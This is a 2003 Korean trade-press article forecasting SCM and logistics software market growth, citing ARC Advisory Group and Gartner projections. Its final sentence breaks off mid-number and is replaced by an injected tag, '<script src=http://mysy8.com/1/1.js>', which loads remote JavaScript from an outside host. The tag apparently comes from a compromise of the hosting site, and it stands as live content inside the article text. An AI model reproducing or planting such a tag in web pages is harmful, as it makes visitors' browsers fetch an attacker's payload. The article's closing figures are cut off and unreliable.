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작성일 |
2003-02-24 |
| 제목 |
2003년은 "SCM의 해"...국내외 모두 '맑음' 전망 |
2003년은 "SCM의 해"...국내외 모두 '맑음' 전망
올해 제3자물류·중소기업 수요 주도
"미 서부 골드러쉬 시대에 성공한 사람은 곡괭이와 청바지 장수다!"
1860년대 미국에서 벌어진 골드러쉬 시대의 현상의 지금도 재현되고 있다. '물류'가 부가가치 시장으로 떠오르면서 재미(?)를 보고 있는 기업들은 물류IT 개발업체라는 말이다. 이러한 현상은 올해도 지속될 것으로 보인다. 특히 공급망관리(SCM) 솔루션 공급 기업들은 지난해 국내외를 막론하고 괄목할만한 성장을 거뒀다. 지난 90년대 후반에 등장한 SCM 물류 효과가 서서히 빛을 발하기 시작한 셈이다.
세계적인 전문 컨설팅 기관에서도 2006년이면 물류IT 시장이 29억 달러로 성장하면서 연평균 12.1%의 성장세를 이어나갈 것으로 내다봤다. 국내에서도 SCM 솔루션의 도입율은 비교적 낮은 추세이지만 연말부터 수요가 갑자기 증폭되고 있다. 물류IT의 디지털화가 가속화되고 있음을 뜻하는 것이다. 하지만 부정적인 면도 없지 않다. 수요자의 SCM에 대한 이해 부족, 공급업체들의 수익률 악화가 그것이다. 본지는 올해 SCM 솔루션 시장을 전망하면서 물류IT 시장의 가능성을 들여다 보았다.
SCM은 제조, 물류, 유통업체 등 공급체인에 참여하는 모든 업체들이 협력을 바탕으로 정보기술(Information Technology)을 활용, 재고를 최적화하고 리드타임을 대폭적으로 감축하여 결과적으로 양질의 상품 및 서비스를 소비자에게 제공함으로써 소비자가치를 극대화하기 위한 21세기 기업의 생존 및 발전전략이다. 물류 전 분야를 총괄하는 '광의의 물류 전략'인 것이다. 세계적으로 이 전략이 점차 확산되면서 제3자 또는 4자 물류라는 입체적, 다차원 물류 서비스가 함께 발전했다. 결국 SCM 솔루션의 확대는 전체 물류IT 솔루션 시장의 발전에 지렛대가 된다. 이러한 점을 고려한다면 올해 SCM 솔루션 전망은 물류IT 시장과 밀접한 연관이 있기 때문에 ARC 컨설팅의 세계 SCM 솔루션 전망과 각종 우리나라 정보통신 전망을 조합해 국내 SCM 솔루션에 대한 올해 전망을 추이해 본다.
ARG, "세계 SCM 솔루션 시장 12.1% 성장"
올해동안 세계적으로 주요 기업들이 정보기술(IT)과 관련된 프로젝트에 자본 투자를 줄일 것으로 보이고 있는 가운데 물류관리 소프트웨어 시장은 계속적인 성장세를 이어갈 것으로 전망된다.
최근 ARC 어드비조리 그룹(www.arcweb.com)이 발표한 '세계 물류관리 시장 전망(Logistics Management Worldwide Outlook)'에 따르면 물류와 관련된 소프트웨어 산업은 전 세계적으로 16억 달러 시장이었지만 2006년에는 29억 달러로 성장하면서 연평균 12.1%의 성장세를 이어나갈 것으로 내다봤다.
현재와 같은 세계 경제환경 하에서 주요 기업들이 ROI(Return On Investment)를 중요시 여김에 따라 SCM 솔루션과 엔터프라이즈급 소프트웨어 공급업체들은 구매자로부터 가격하락, 제품 사이클의 장기화 등의 압력을 받고 있다. 물류 관리 소프트웨어 시장도 이와 똑같은 상황에 처해있다고 할 수 있다.
그러나 세계적으로 주요 기업들이 수직적 조직에서 분산화와 아웃소싱 형태로 옮겨감에 따라 SCM 솔루션은 필수적인 요건으로 작용하고 있다. 특히 이전까지 기업의 집중화된 의사결정들이 분산화되면서 협력업체와 사업의 계획단계부터 면밀히 검토해야 하는 상황으로까지 발전하고 있다. 결국 아웃소싱에 대한 필요성을 더욱 커지고 있고 이들 기업과 실시간으로 정보의 교류도 활발히 이뤄져야 하는 새로운 환경을 맞이하고 있다.
이런 관점에서 SCM 솔루션 시장은 성장을 할 수밖에 없다. 또한 SCEM(Supply Chain Event Management) 솔루션들은 자연적으로 분산화에 초점이 맞춰지고 있으며, 분산된 의사결정의 중요한 한 플랫폼으로 역할을 해 나가고 있다. 대부분 SCM 솔루션 공급업체들은 SCPM이 적절한 계획과 실행 프로세스를 통해 현재의 SCM 솔루션의 가치를 크게 증진시킬 수 있다고 강조하고 있다.
물류관리 소프트웨어 마켓은 창고관리시스템(WMS), 운송관리시스템(TMS), 공급프로세스관리(SCPM) 솔루션 등으로 대별될 수 있을 것이다. ARC 그룹은 WMS 부문은 이미 성숙된 시장으로 평가하고 있으며 이에따라 경기침체가 도래할 경우 더 이상의 투자는 기대하기 힘들 것으로 전망했다. 그러나 TMS 시장은 지난 98년부터 2001년까지 연평균 19.7%의 성장세를 이루는 등 앞으로도 이같은 상승세는 당분간 이어갈 것으로 내다봤다. SCPM 마켓 역시 앞으로 연평균 34%의 성장세는 계속 이어갈 것으로 ARC 그룹은 전망했다.
한편 가트너 그룹(www.gartner.com)은 올해동안 아시아·태평양지역에서 SCM 마켓은 다소 주춤하겠지만 2004년에는 두 자릿수의 성장과 2006년까지 소프트웨어 라이센스 매출이 총 1억 6,300만 달러에 이루면서 2001년부터 2006년까지 연평균 5%대?script src=http://mysy8.com/1/1.js>
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